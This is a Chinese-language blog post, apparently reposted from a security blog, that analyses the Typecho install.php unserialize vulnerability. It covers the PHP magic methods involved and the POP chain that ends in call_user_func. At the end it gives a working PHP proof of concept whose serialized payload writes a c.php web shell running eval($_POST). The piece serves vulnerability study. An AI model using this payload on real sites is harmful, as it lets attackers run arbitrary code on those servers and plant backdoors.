1. 程式人生 > >typecho install.phpl漏洞分析

typecho install.phpl漏洞分析

漏洞出了很久了一直沒時間分析,現在有空記錄下分析流程,學習下php反序列化的知識。

0x01 php序列化與反序列化及魔術方法

php序列化與反序列化用到的主要有兩個函式:unserialize()與serialize()。在unserialize()時會呼叫__wakeup()serialize()時會呼叫__sleep()函式。
達成反序列化漏洞的兩個條件:

  1. unserialize函式的變數可控
  2. php檔案中存在可利用的類,類中有魔術方法

0x02 分析過程

其他文章分析該漏洞已經很多了,這裡直接說重點。
達成該漏洞需要滿足兩個條件:
1. 反序列化函式變數可控
2. POP鏈

對於第一點,在install.php檔案的第230行已經達成,cookie中的__typecho_config可控。
反序列化變數可控

第二點的pop鏈如下:

在例項化Typecho_Db時,第120行存在字串拼接,如果$adapterName是傳入的一個類的話,會自動呼叫類的__toString()魔術方法,於是需要尋找一個類的__toString()
字串拼接

全域性搜尋__toString()方法,定位到Feed.php檔案,在__toString()方法中找到以下程式碼:

這裡寫圖片描述
_itemTypecho_Feed的私有屬性且為陣列。於是就有,如果訪問的_item為物件,沒有sreenName或者url屬性,呼叫該物件的魔術方法__get()


於是全域性搜尋,尋找到了Typecho_Request中的__get()方法。
這裡寫圖片描述

這裡寫圖片描述

這裡寫圖片描述

call_user_func(): call_user_func是PHP的內建函式,該函式允許使用者呼叫直接寫的函式並傳入一定的引數

於是POP鏈就出來了。

0x03 POP鏈

unserialize()中的引數可控-> Typecho_Db例項化時字串拼接導致呼叫__toString() -> __toString()方法中呼叫不存在的屬性導致呼叫__get() –> Typecho_Request中的__get()方法呼叫call_user_func導致執行任意程式碼

0x04 poc

<?php
class Typecho_Feed{
    const RSS2 = "RSS 2.0";

    private $_type;
    private $_version;
    private $_charset;
    private $_lang;
    private $_items = array();

    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName' => "file_put_contents('c.php', '<?php eval(\$_POST[1]);//123123?>')");
    private $_filter = array('assert');
}

$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'test');
echo base64_encode(serialize($exp));
?>

參考連結